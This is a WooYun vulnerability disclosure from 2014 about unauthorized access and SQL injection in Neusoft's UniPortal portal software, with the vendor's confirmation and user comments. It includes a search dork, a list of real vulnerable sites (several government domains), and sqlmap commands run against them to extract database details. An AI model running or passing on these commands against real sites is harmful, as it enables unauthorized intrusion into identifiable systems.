当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087293

漏洞标题：东软某通用门户软件系统存在通用型未授权访问到SQL注入漏洞

相关厂商：东软集团

漏洞作者： snoopy

提交时间：2014-12-15 22:15

修复时间：2015-03-15 22:16

公开时间：2015-03-15 22:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-15： 细节已通知厂商并且等待厂商处理中
2014-12-19： 厂商已经确认，细节仅向厂商公开
2014-12-22： 细节向第三方安全合作伙伴开放
2015-02-12： 细节向核心白帽子及相关领域专家公开
2015-02-22： 细节向普通白帽子公开
2015-03-04： 细节向实习白帽子公开
2015-03-15： 细节向公众公开

简要描述：

详细说明：

东软通用门户软件 UniPortal 1.2 SQL注入漏洞
搜索引擎搜索： inurl:ecdomain
经测试发现，该系统存在未授权访问，且存在sql注入漏洞
未授权访问页面：ecdomain/portal/survey/admin/SurveyStatis.jsp
sql注入漏洞页面：/ecdomain/portal/survey/admin/SurveyStatisShow.jsp
SQL注入漏洞参数：sid

漏洞证明：

#1 未授权访问页面（直接给出链接）
http://www.hbsgjj.cn/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.lnsxnh.com/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.cyfcxx.com/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.xysfq.com/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.bjws.gov.cn/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://services.ndrc.gov.cn:8080/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.dggjj.cn/ecdomain/portal/survey/admin/SurveyStatis.jsp
http://www.tyzwzx.gov.cn/ecdomain/portal/survey/admin/SurveyStatis.jsp
……
#2 SQL注入漏洞证明
（1）http://www.tyzwzx.gov.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=330fb2be13922e2630655c1

C:\Users\Administrator>sqlmap.py -u "http://www.tyzwzx.gov.cn/ecdomain/portal/survey/admin/SurveyStatisShow.jsp?sid=699d61cd1338ca7da2c7934" --dbms=oracle --current-user


3.png


（2）http://www.bjws.gov.cn//ecdomain/portal/survey/admin/SurveyStatisShow.jsp?sid=699d61cd1338ca7da2c7934

C:\Users\Administrator>sqlmap.py -u "http://www.bjws.gov.cn//ecdomain/portal/survey/admin/SurveyStatisShow.jsp?sid=699d61cd1338ca7da2c7934" --dbms=oracle --current-db


4.png


（3）http://www.hbsgjj.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=18caa6d7141696e35d3538e

C:\Users\Administrator>sqlmap.py -u "http://www.hbsgjj.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=18caa6d7141696e35d3538e" --dbms=oracle --current-user


5.png


（4）http://www.lnsxnh.com/ecdomain/portal/survey/SurveyShow.jsp?sid=2e3635db1339f91518c7161

C:\Users\Administrator>sqlmap.py -u "http://www.lnsxnh.com/ecdomain/portal/survey/SurveyShow.jsp?sid=2e3635db1339f91518c7161" --dbms=oracle --current-user


6.png


（5）http://www.xysfq.com/ecdomain/portal/survey/SurveyShow.jsp?sid=340d9efa133a4bc10497f27

C:\Users\Administrator>sqlmap.py -u "http://www.xysfq.com/ecdomain/portal/survey/SurveyShow.jsp?sid=340d9efa133a4bc10497f27" --dbms=oracle --current-user


7.png


（6）http://www.dggjj.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=2e3635db1339f91518c7161

C:\Users\Administrator>sqlmap.py -u "http://www.dggjj.cn/ecdomain/portal/survey/SurveyShow.jsp?sid=2e3635db1339f91518c7161" --dbms=oracle --current-user


8.jpg


........

修复方案：

版权声明：转载请注明来源 snoopy@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2014-12-19 13:31

厂商回复：

感谢白帽子提供的信息，我司已联系相关部门进行紧急修复。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-12-15 22:22 | snoopy ( 实习白帽子 | Rank:78 漏洞数:16 | ....................)

    @finger @xsser 头一回发通用型的，手一抖忘记选择通用型了，帮忙处理一下呗。

  2. 2014-12-15 22:25 | Coody 认证白帽子 ( 核心白帽子 | Rank:1565 漏洞数:189 | 不接单、不黑产；如遇接单收徒、绝非本人所...)

    我是打酱油的 @Finger @xsser

  3. 2014-12-16 00:27 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    大牛威武。。。为神马看这说话的语气，像极了某某人呢，@coody 你不觉得眼熟么？

  4. 2014-12-16 10:34 | Finger 认证白帽子 ( 普通白帽子 | Rank:777 漏洞数:95 | 最近有人冒充该账号行骗，任何自称Finger并...)

    @snoopy 已改

  5. 2014-12-16 11:00 | snoopy ( 实习白帽子 | Rank:78 漏洞数:16 | ....................)

    @Finger 谢谢了！

  6. 2015-03-15 22:21 | 大漠長河 ( 实习白帽子 | Rank:43 漏洞数:7 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区欢迎您...)

    东软...不错的例子